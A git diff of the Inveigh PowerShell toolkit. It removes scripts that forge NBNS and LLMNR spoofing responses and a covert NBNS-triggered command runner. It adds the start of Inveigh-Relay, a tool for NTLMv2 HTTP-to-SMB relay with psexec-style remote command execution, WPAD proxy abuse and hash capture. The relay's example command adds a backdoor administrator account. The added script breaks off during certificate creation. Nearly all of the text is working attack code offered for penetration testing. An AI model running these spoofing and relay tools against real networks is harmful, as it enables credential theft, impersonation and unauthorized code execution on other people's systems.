diff options
-rw-r--r-- | Extras/Invoke-NBNSC2.ps1 | 151 | ||||
-rw-r--r-- | Extras/Send-LLMNRResponse.ps1 | 87 | ||||
-rw-r--r-- | Extras/Send-NBNSResponse.ps1 | 105 | ||||
-rw-r--r-- | Inveigh-Relay.ps1 | 4677 | ||||
-rw-r--r-- | Inveigh.ps1 (renamed from Scripts/Inveigh.ps1) | 1605 | ||||
-rw-r--r-- | Inveigh.psd1 | 2 | ||||
-rw-r--r-- | Inveigh.psm1 | 6 | ||||
-rw-r--r-- | Invoke-DNSUpdate.ps1 | 1437 | ||||
-rw-r--r-- | Invoke-SMBClient.ps1 | 2773 | ||||
-rw-r--r-- | Invoke-SMBExec.ps1 | 2777 | ||||
-rw-r--r-- | Scripts/Inveigh-Relay.ps1 | 4516 |
11 files changed, 12399 insertions, 5737 deletions
diff --git a/Extras/Invoke-NBNSC2.ps1 b/Extras/Invoke-NBNSC2.ps1 deleted file mode 100644 index 41d2e64..0000000 --- a/Extras/Invoke-NBNSC2.ps1 +++ /dev/null @@ -1,151 +0,0 @@ -function Invoke-NBNSC2 -{ -<# -.SYNOPSIS -Invoke-NBNSC2 will listen for NBNS requests and execute set commands if requests for specific hostnames are -received. The function must be supplied with an even number of Hostnames and Commands. NBNS requests can be -sent from a NBNS enabled system on the same subnet using ping, etc. - -.PARAMETER Hostnames -A comma separated list of Hostnames that will trigger a corresponding command. The first hostname trigger a command -from the Commands array with a matching index (e.g. Hostnames[0] executes Commands[0]). - -.PARAMETER Commands -An array of commands stored in scriptblock format. All commands must be enclosed in {} brackets. - -.PARAMETER ExitHostname -Specify a hostname that will cause the function to exit. This hostname must not match a hostname used in Hostnames. - -.PARAMETER RunTime -(Integer) Set the run time duration. - -.PARAMETER RunTimeUnit -Default = Minutes: Set the time unit for RunTime to either Minutes, Hours, or Days. - -.EXAMPLE -Send-NBNSC2 -Hostnames test1,test2 -Command {calc},{notepad} -RunTime 1 -RunTimeUnit Days - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - -[CmdletBinding()] -param -( -[parameter(Mandatory=$true)][Array]$Hostnames = "", -[parameter(Mandatory=$true)][Array]$Commands = "", -[parameter(Mandatory=$true)][String]$ExitHostname = "", -[parameter(Mandatory=$false)][Int]$RunTime="", -[parameter(Mandatory=$false)][ValidateSet("Minutes","Hours","Days")][String]$RunTimeUnit="Minutes", -[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - throw "$($invalid_parameter) is not a valid parameter." -} - -if($Hostnames.Count -ne $Commands.Count) -{ - throw "Must use an equal number of Hostnames and Commands." -} -elseif($Hostnames -contains $ExitHostname) -{ - throw "ExitHostname cannot be used as in Hostnames." -} - -if($RunTime) -{ - if($RunTimeUnit -like 'Minutes') - { - $runtime_timeout = new-timespan -Minutes $RunTime - } - elseif($RunTimeUnit -like 'Hours') - { - $runtime_timeout = new-timespan -Hours $RunTime - } - elseif($RunTimeUnit -like 'Days') - { - $runtime_timeout = new-timespan -Days $RunTime - } - - $runtime_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() -} - -$Hostnames = $Hostnames | % {$_.ToUpper()} -$running = $true -$NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) -$NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 -$NBNS_UDP_client.Client.ReceiveTimeout = 10000 -$control_timeout = new-timespan -Seconds 1 -$control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - -while($running) -{ - try - { - $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint) - } - catch - { - $NBNS_request_data = $null - } - - if($NBNS_request_data) - { - $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)]) - $NBNS_query = $NBNS_query -replace "-00","" - $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) - $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) - $NBNS_query_string_subtracted = "" - $NBNS_query_string = "" - $n = 0 - - if($NBNS_query_string_encoded.Length -gt 1) - { - do - { - $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) - $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) - $n += 1 - } - until($n -gt ($NBNS_query_string_encoded.Length - 1)) - - $n = 0 - - do - { - $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) - $n += 2 - } - until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) - } - - if([Array]::IndexOf($Hostnames,$NBNS_query_string) -ge 0 -and $control_stopwatch.Elapsed -ge $control_timeout) - { - $NBNS_UDP_client.Close() - $command_index = [Array]::IndexOf($Hostnames,$NBNS_query_string) - $NBNS_query_string = '' - & $Commands[$command_index] - $control_timeout = new-timespan -Seconds 5 - $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 - $NBNS_UDP_client.Client.ReceiveTimeout = 10000 - } - elseif($ExitHostname -like $NBNS_query_string) - { - $running = $false - } - } - - if($RunTime -and $runtime_stopwatch.Elapsed -ge $runtime_timeout) - { - $running = $false - } - -} - -$NBNS_UDP_client.Close() - -}
\ No newline at end of file diff --git a/Extras/Send-LLMNRResponse.ps1 b/Extras/Send-LLMNRResponse.ps1 deleted file mode 100644 index cc22091..0000000 --- a/Extras/Send-LLMNRResponse.ps1 +++ /dev/null @@ -1,87 +0,0 @@ - -function Send-LLMNRResponse -{ -<# -.SYNOPSIS -Send-LLMNRResponse sends a crafted LLMNR response packet to a specific target. For name resolution to be successful, -the specified TargetIP, TargetPort, Hostname, and TransactionID must match a very (very very) recent LLMNR request. -You must have an external method (wireshark,etc) of viewing the required LLMNR request fields for traffic on the -target subnet. The odds of pulling this attack off manually are slim if not impossible due to the narrow response -window. Ideally, this function would be fed by another script. - -.PARAMETER Hostname -Default = WPAD: Specify a hostname for NBNS spoofing. - -.PARAMETER LLMNRTTL -Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. - -.PARAMETER SendPort -Default = Random Available: Specify a source port for the LLMNR response. Note that the standard port is 5355 -which will cause a binding conflict if LLMNR is enabled on the host system. A random port seems to work fine. - -.PARAMETER SpooferIP -Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system -other than the function host. - -.PARAMETER TargetIP -Specify an IP address to target for the LLMNR response. - -.PARAMETER TargetPort -Specify an port to target for the LLMNR response. This port must match the source port included in the request. - -.EXAMPLE -Send-LLMNRResponse -Target 192.168.1.11 -Hostname test -TransactionID 9c9e - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - - -[CmdletBinding()] -param -( -[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="", -[parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$TargetIP="", -[parameter(Mandatory=$true)][ValidatePattern('^[A-Fa-f0-9]{4}$')][String]$TransactionID="", -[parameter(Mandatory=$true)][String]$Hostname = "", -[parameter(Mandatory=$true)][Int]$TargetPort="", -[parameter(Mandatory=$false)][Int]$SendPort="0", -[parameter(Mandatory=$false)][Int]$LLMNRTTL="30", -[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - throw "$($invalid_parameter) is not a valid parameter." -} - -if(!$SpooferIP) -{ - $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) -} - -$hostname_bytes = [System.Text.Encoding]::UTF8.GetBytes($Hostname) -$LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) -[Array]::Reverse($LLMNR_TTL_bytes) -$Transaction_ID_encoded = $TransactionID.Insert(2,'-') -$Transaction_ID_bytes = $Transaction_ID_encoded.Split('-') | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - -$LLMNR_response_packet = $Transaction_ID_bytes + - 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + - $hostname_bytes.Count + - $hostname_bytes + - 0x00,0x00,0x01,0x00,0x01 + - $hostname_bytes.Count + - $hostname_bytes + - 0x00,0x00,0x01,0x00,0x01 + - $LLMNR_TTL_bytes + - 0x00,0x04 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() - -$send_socket = New-Object System.Net.Sockets.UdpClient($SendPort) -$destination_IP = [System.Net.IPAddress]::Parse($TargetIP) -$destination_point = New-Object Net.IPEndpoint($destination_IP,$TargetPort) -$send_socket.Connect($destination_point) -$send_socket.Send($LLMNR_response_packet,$LLMNR_response_packet.Length) -$send_socket.Close() -}
\ No newline at end of file diff --git a/Extras/Send-NBNSResponse.ps1 b/Extras/Send-NBNSResponse.ps1 deleted file mode 100644 index 3d5ed02..0000000 --- a/Extras/Send-NBNSResponse.ps1 +++ /dev/null @@ -1,105 +0,0 @@ - -function Send-NBNSResponse -{ -<# -.SYNOPSIS -Send-NBNSResponse sends a crafted NBNS response packet to a specific target. For name resolution to be successful, -the specified TargetIP, Hostname, and TransactionID must match a very (very very) recent NBNS request. You must -have an external method (wireshark,etc) of viewing the required NBNS request fields for traffic on the target -subnet. The odds of pulling this attack off manually are slim due to the narrow response window. I've only been -able to get it to work manually by watching tshark with the the transaction ID being listed in the output. -Ideally, this function would be fed by another script. - -.PARAMETER Hostname -Default = WPAD: Specify a hostname for NBNS spoofing. - -.PARAMETER NBNSTTL -Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. - -.PARAMETER SendPort -Default = 137: Specify a source port for the NBNS response. - -.PARAMETER SpooferIP -IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system -other than the function host. - -.PARAMETER TargetIP -IP address to target for the NBNS response. - -.PARAMETER TransactionID -NBNS transaction ID that matches the transaction from the NBNS request. - -.EXAMPLE -Send-NBNSResponse -Target 192.168.1.11 -Hostname test -TransactionID 9c9e - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - - -[CmdletBinding()] -param -( -[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="", -[parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$TargetIP="", -[parameter(Mandatory=$true)][ValidatePattern('^[A-Fa-f0-9]{4}$')][String]$TransactionID="", -[parameter(Mandatory=$true)][String]$Hostname = "", -[parameter(Mandatory=$false)][Int]$SendPort="137", -[parameter(Mandatory=$false)][Int]$NBNSTTL="165", -[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - throw "$($invalid_parameter) is not a valid parameter." -} - -if(!$SpooferIP) -{ - $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) -} - -$Hostname = $Hostname.ToUpper() - -$hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41, - 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00 - -$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname) -$hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) -$hostname_encoded = $hostname_encoded.Replace("-","") -$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) -$NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) -[Array]::Reverse($NBNS_TTL_bytes) -$Transaction_ID_encoded = $TransactionID.Insert(2,'-') -$Transaction_ID_bytes = $Transaction_ID_encoded.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - -for($i=0; $i -lt $hostname_encoded.Count; $i++) -{ - - if($hostname_encoded[$i] -gt 64) - { - $hostname_bytes[$i] = $hostname_encoded[$i] + 10 - } - else - { - $hostname_bytes[$i] = $hostname_encoded[$i] + 17 - } - -} - -$NBNS_response_packet = $Transaction_ID_bytes + - 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + - $hostname_bytes + - 0x00,0x20,0x00,0x01 + - $NBNS_TTL_bytes + - 0x00,0x06,0x00,0x00 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + - 0x00,0x00,0x00,0x00 - -$send_socket = New-Object System.Net.Sockets.UdpClient($SendPort) -$destination_IP = [System.Net.IPAddress]::Parse($TargetIP) -$destination_point = New-Object Net.IPEndpoint($destination_IP,137) -$send_socket.Connect($destination_point) -$send_socket.Send($NBNS_response_packet,$NBNS_response_packet.Length) -$send_socket.Close() -}
\ No newline at end of file diff --git a/Inveigh-Relay.ps1 b/Inveigh-Relay.ps1 new file mode 100644 index 0000000..49c5629 --- /dev/null +++ b/Inveigh-Relay.ps1 @@ -0,0 +1,4677 @@ +function Invoke-InveighRelay +{ +<# +.SYNOPSIS +Invoke-InveighRelay performs NTLMv2 HTTP to SMB relay with psexec style command execution. + +.DESCRIPTION +Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB1/SMB2 relay with psexec style command execution. + + HTTP/HTTPS to SMB NTLMv2 relay with granular control + Supports SMB1 and SMB2 targets + Does not require priveleged access on the Invoke-InveighRelay host + The Invoke-InveighRelay host can be targeted for privilege escalation + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS + Granular control of console and file output + +.PARAMETER Attack +Default = Execute: (Execute/Session) Attack to perform with relay. Execute performs PSExec style command execution. +Session creates and maintains autneticated SMB sessions that can be interacted with through Invoke-TheHash's +Invoke-SMBClient and Invoke-SMBExec. + +.PARAMETER Challenge +Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random +challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be +pulled from the SMB relay target. + +.PARAMETER Command +Command to execute on SMB relay target. Use PowerShell character escapes where necessary. + +.PARAMETER ConsoleOutput +Default = Disabled: (Low/Medium/Y/N) Enable/Disable real time console output. If using this option through a +shell, test to ensure that it doesn't hang the shell. Medium and Low can be used to reduce output. + +.PARAMETER ConsoleQueueLimit +Default = Unlimited: Maximum number of queued up console log entries when not using the real time console. + +.PARAMETER ConsoleStatus +(Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for +displaying full capture lists when running through a shell that does not have access to the support functions. + +.PARAMETER ConsoleUnique +Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, +and username combinations when real time console output is enabled. + +.PARAMETER FileOutput +Default = Disabled: (Y/N) Enable/Disable real time file output. + +.PARAMETER FileOutputDirectory +Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be +enabled. + +.PARAMETER HTTP +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + +.PARAMETER HTTPIP +Default = Any: IP address for the HTTP/HTTPS listener. + +.PARAMETER HTTPPort +Default = 80: TCP port for the HTTP listener. + +.PARAMETER HTTPS +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in +the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires +local administrator access. + +.PARAMETER HTTPSPort +Default = 443: TCP port for the HTTPS listener. + +.PARAMETER HTTPSCertIssuer +Default = Inveigh: The issuer field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSCertSubject +Default = localhost: The subject field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSForceCertDelete +Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and +HTTPSCertSubject. + +.PARAMETER HTTPResetDelay +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the +chance of capturing/relaying authentication through a popup box with some browsers (Firefox). + +.PARAMETER HTTPResetDelayTimeout +Default = 30 Seconds: HTTPResetDelay timeout in seconds. + +.PARAMETER LogOutput +Default = Enabled: (Y/N) Enable/Disable storing log messages in memory. + +.PARAMETER MachineAccounts +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + +.PARAMETER OutputStreamOnly +Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if +running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the +various yellow warning messages if enabled. + +.PARAMETER ProxyRelay +Default = Disabled: (Y/N): Enable/Disable relaying proxy authentication. + +.PARAMETER ProxyIP +Default = Any: IP address for the proxy listener. + +.PARAMETER ProxyPort +Default = 8182: TCP port for the proxy listener. + +.PARAMETER ProxyIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will not be sent the wpad.dat file used for capturing proxy authentications. Firefox does not work correctly +with the proxy server failover setup. Firefox will be left unable to connect to any sites until the proxy is +cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox, consider setting +-SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by +closing and reopening. + +.PARAMETER RelayAutoDisable +Default = Enable: (Y/N) Enable/Disable automaticaly disabling SMB relay after a successful command execution on +target. + +.PARAMETER RelayAutoExit +Default = Enable: (Y/N) Enable/Disable automaticaly exiting after a relay is disabled due to success or error. + +.PARAMETER RunTime +(Integer) Run time duration in minutes. + +.PARAMETER Service +Default = 20 Character Random: Name of the service to create and delete on the target. + +.PARAMETER ShowHelp +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + +.PARAMETER SMB1 +(Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the +target. + +.PARAMETER StartupChecks +Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + +.PARAMETER Target +IP address of system to target for SMB relay. + +.PARAMETER Tool +Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's +PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. +0 = None, 1 = Metasploit/Meterpreter, 2 = Empire + +.PARAMETER Username +Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and +domain\username format. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous/NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to +Anonymous can prevent browser login prompts. + +.PARAMETER WPADAuthIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will be skipped for NTLM authentication. This can be used to filter out browsers like Firefox that display login +popups for authenticated wpad.dat requests such as Firefox. + +.EXAMPLE +Invoke-Inveigh -HTTP N +Invoke-InveighRelay -Target 192.168.2.55 -Command "net user Inveigh Spring2017 /add && net localgroup administrators Inveigh /add" + +.LINK +https://github.com/Kevin-Robertson/Inveigh +#> + +# Parameter default values can be modified in this section: +[CmdletBinding()] +param +( + [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox", + [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", + [parameter(Mandatory=$false)][Array]$Username = "", + [parameter(Mandatory=$false)][Array]$UsernameAlwaysAllow = "Administrator", + [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "", + [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", + [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", + [parameter(Mandatory=$false)][Int]$HTTPPort = "80", + [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", + [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30", + [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", + [parameter(Mandatory=$false)][Int]$RunTime = "", + [parameter(Mandatory=$false)][Int]$SessionLimit = "2", + [parameter(Mandatory=$false)][Int]$SessionRefresh = "10", + [parameter(Mandatory=$false)][Object]$Source, + [parameter(Mandatory=$false)][String]$Command = "", + [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", + [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", + [parameter(Mandatory=$false)][String]$Service, + [parameter(Mandatory=$true)][Array]$Target = "", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPSForceCertDelete = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoDisable = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoExit = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SessionPriority = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SigningCheck = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N","Low","Medium")][String]$ConsoleOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", + [parameter(Mandatory=$false)][ValidateSet("Session","Execute")][String]$Attack = "Execute", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][String]$WPADAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", + [parameter(Mandatory=$false)][Switch]$SMB1, + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if ($invalid_parameter) +{ + Write-Output "[-] $($invalid_parameter) is not a valid parameter." + throw +} + +$inveigh_version = "1.4 Dev" + +if($ProxyIP -eq '0.0.0.0') +{ + $proxy_WPAD_IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) +} + +if($Attack -eq 'Execute' -and !$Command) +{ + Write-Output "[-] -Command requiried with -Attack Execute" + throw +} + +if(!$FileOutputDirectory) +{ + $output_directory = $PWD.Path +} +else +{ + $output_directory = $FileOutputDirectory +} + +if(!$inveigh) +{ + $global:inveigh = [HashTable]::Synchronized(@{}) + $inveigh.cleartext_list = New-Object System.Collections.ArrayList + $inveigh.IP_capture_list = New-Object System.Collections.ArrayList + $inveigh.log = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList + $inveigh.POST_request_list = New-Object System.Collections.ArrayList + $inveigh.relay_list = New-Object System.Collections.ArrayList + $inveigh.relay_user_failed_list = New-Object System.Collections.ArrayList + $inveigh.valid_host_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_IP_list = New-Object System.Collections.ArrayList + $inveigh.DNS_list = New-Object System.Collections.ArrayList + $inveigh.session_list = @() + $inveigh.session_socket_table = [HashTable]::Synchronized(@{}) + $inveigh.session_table = [HashTable]::Synchronized(@{}) + $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{}) + $inveigh.session_lock_table = [HashTable]::Synchronized(@{}) + $inveigh.session_count = 0 +} + +if($inveigh.relay_running) +{ + Write-Output "[-] Inveigh Relay is already running" + throw +} + +if(!$inveigh.running) +{ + $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList + $inveigh.console_queue = New-Object System.Collections.ArrayList + $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList + $inveigh.log_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList + $inveigh.output_queue = New-Object System.Collections.ArrayList + $inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList + $inveigh.status_queue = New-Object System.Collections.ArrayList + $inveigh.console_input = $true + $inveigh.console_output = $false + $inveigh.file_output = $false + $inveigh.HTTPS_existing_certificate = $false + $inveigh.HTTPS_force_certificate_delete = $false + $inveigh.log_output = $true + $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" + $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" + $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" + $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" + $inveigh.POST_request_out_file = $output_directory + "\Inveigh-FormInput.txt" +} + +$inveigh.target_list = New-Object System.Collections.ArrayList + +ForEach($target_entry in $Target) +{ + $inveigh.target_list.Add($target_entry) > $null +} + +if($StartupChecks -eq 'Y') +{ + + $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} + + if($HTTP -eq 'Y') + { + $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " + } + + if($HTTPS -eq 'Y') + { + $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " + } + + if($Proxy -eq 'Y') + { + $proxy_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort " + } + +} + +$inveigh.relay_running = $true +$inveigh.SMB_relay = $true + +if($StatusOutput -eq 'Y') +{ + $inveigh.status_output = $true +} +else +{ + $inveigh.status_output = $false +} + +if($OutputStreamOnly -eq 'Y') +{ + $inveigh.output_stream_only = $true +} +else +{ + $inveigh.output_stream_only = $false +} + +if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension +{ + $inveigh.tool = 1 + $inveigh.output_stream_only = $true + $inveigh.newline = "" + $ConsoleOutput = "N" +} +elseif($Tool -eq 2) # PowerShell Empire +{ + $inveigh.tool = 2 + $inveigh.output_stream_only = $true + $inveigh.console_input = $false + $inveigh.newline = "" + $LogOutput = "N" + $ShowHelp = "N" + + switch ($ConsoleOutput) + { + + 'Low' + { + $ConsoleOutput = "Low" + } + + 'Medium' + { + $ConsoleOutput = "Medium" + } + + default + { + $ConsoleOutput = "Y" + } + + } + +} +else +{ + $inveigh.tool = 0 + $inveigh.newline = "" +} + +# Write startup messages +$inveigh.output_queue.Add("[*] Inveigh Relay $inveigh_version started at $(Get-Date -format s)") > $null + +if($firewall_status) +{ + $inveigh.output_queue.Add("[!] Windows Firewall = Enabled") > $null +} + +if($HTTP -eq 'Y') +{ + + if($HTTP_port_check) + { + $HTTP = "N" + $inveigh.output_queue.Add("[+] HTTP Capture/Relay Disabled Due To In Use Port $HTTPPort") > $null + } + else + { + $inveigh.output_queue.Add("[+] HTTP Capture/Relay = Enabled") > $null + + if($HTTPIP) + { + $inveigh.output_queue.Add("[+] HTTP IP Address = $HTTPIP") > $null + } + + if($HTTPPort -ne 80) + { + $inveigh.output_queue.Add("[+] HTTP Port = $HTTPPort") > $null + } + } + +} +else +{ + $inveigh.output_queue.Add("[+] HTTP Capture/Relay = Disabled") > $null +} + +if($HTTPS -eq 'Y') +{ + + if($HTTPS_port_check) + { + $HTTPS = "N" + $inveigh.HTTPS = $false + $inveigh.output_queue.Add("[-] HTTPS Capture/Relay Disabled Due To In Use Port $HTTPSPort") > $null + } + else + { + + try + { + $inveigh.certificate_issuer = $HTTPSCertIssuer + $inveigh.certificate_CN = $HTTPSCertSubject + $inveigh.output_queue.Add("[+] HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null + $inveigh.output_queue.Add("[+] HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null + $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) + + if(!$certificate_check) + { + # credit to subTee for cert creation code from Interceptor + $certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_issuer_distinguished_name.Encode("CN=" + $inveigh.certificate_issuer, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_key = new-object -com "X509Enrollment.CX509PrivateKey" + $certificate_key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" + $certificate_key.KeySpec = 2 + $certificate_key.Length = 2048 + $certificate_key.MachineContext = 1 + $certificate_key.Create() 